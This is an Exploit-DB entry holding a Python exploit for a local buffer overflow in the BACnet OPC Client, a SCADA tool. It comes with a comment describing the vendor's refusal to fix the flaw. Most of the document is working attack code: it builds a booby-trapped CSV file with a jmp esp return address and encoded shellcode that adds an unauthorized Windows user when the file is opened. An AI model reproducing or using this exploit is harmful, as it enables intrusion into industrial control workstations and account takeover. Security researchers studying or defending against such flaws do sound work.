BACnet OPC Client - Local Buffer Overflow (1)

EDB-ID:

15026


Platform:

Windows

Published:

2010-09-16

#!/usr/bin/python
# bacnet.py
# BACnet OPC Client Buffer Overflow Exploit
# Jeremy Brown [0xjbrown41-gmail-com]
# Sept 2010
# 
# After communicating via several emails with the vendor, sharing details
# about the vulnerability, as well as proof-of-concept code (I also offered
# to send the exploit code for them to test themselves), it was clear that
# they weren't very interested in fixing the vulnerability. They even ended our
# conversation with "Hi Jeremy, thanks but please don't waste my time.", and
# quickly became unresponsive to further communication. A couple days later, I
# notified them know of my plans to release exploit code to the public, proving
# the vulnerability, since they weren't planning on releasing a fix. They didn't
# respond with anything indicating plans for an update, so maybe this will help.
#
# If you are a customer (they seem to care much more about your concerns), I would
# suggest contacting support at scadaengine.com and ask them to issue a fix.
#
# Successfully tested on Windows XP Service Pack 3 with BACnet OPC CLient 1.0.24
#

import sys
import struct

ret=0x7C96BF33 # jmp esp @ user32.dll

junk="B"*185

# win32_adduser -  PASS=ware EXITFUNC=thread USER=sploit Size=497 Encoder=PexAlphaNum
payload=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x50\x42\x50\x4b\x48\x45\x44\x4e\x53\x4b\x58\x4e\x37"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x51\x4b\x58"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x50\x45\x57\x45\x4e\x4b\x58"
"\x4f\x55\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x54"
"\x4b\x58\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x58\x42\x44\x42\x53\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x58\x42\x54\x4e\x30\x4b\x58\x42\x47\x4e\x31\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x58\x4a\x36\x4e\x43\x4f\x55\x41\x43"
"\x48\x4f\x42\x36\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x4f\x4e\x50\x4c\x42\x4e\x42\x36\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x46\x4d\x36"
"\x46\x56\x50\x32\x45\x36\x4a\x57\x45\x46\x42\x32\x4f\x42\x43\x56"
"\x42\x42\x50\x36\x45\x36\x46\x57\x42\x52\x45\x57\x43\x47\x45\x36"
"\x44\x37\x42\x32\x43\x47\x42\x57\x4e\x36\x4f\x46\x49\x36\x46\x57"
"\x42\x32\x47\x37\x41\x46\x44\x57\x45\x46\x42\x42\x4f\x42\x41\x34"
"\x46\x34\x46\x44\x42\x32\x48\x42\x48\x42\x42\x52\x50\x36\x45\x56"
"\x46\x47\x42\x42\x4e\x46\x4f\x56\x43\x46\x41\x36\x4e\x56\x47\x56"
"\x44\x47\x4f\x36\x45\x47\x42\x37\x42\x42\x41\x54\x46\x56\x4d\x36"
"\x49\x46\x50\x56\x49\x36\x43\x47\x46\x47\x44\x57\x41\x56\x46\x57"
"\x4f\x46\x44\x47\x43\x37\x42\x42\x43\x47\x42\x47\x4e\x46\x4f\x36"
"\x49\x46\x46\x47\x42\x32\x4f\x32\x41\x34\x46\x34\x46\x34\x42\x50"
"\x5a"
)

csv1="OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\";
csv2="\\scada,0,0,\n";

if len(sys.argv)<2:
	print "Usage: "+sys.argv[0]+" <filename.csv>"
	sys.exit(0)


file=sys.argv[1]

retaddr=struct.pack("<L",ret)

csv=csv1+junk+retaddr+"X"*4+payload+csv2

try:
     f=open(file,"w")
     f.write(csv)
     f.close()

except IOError,e:
     print e

else:
     print "Open %s in the OPC client to exploit the vulnerability." % file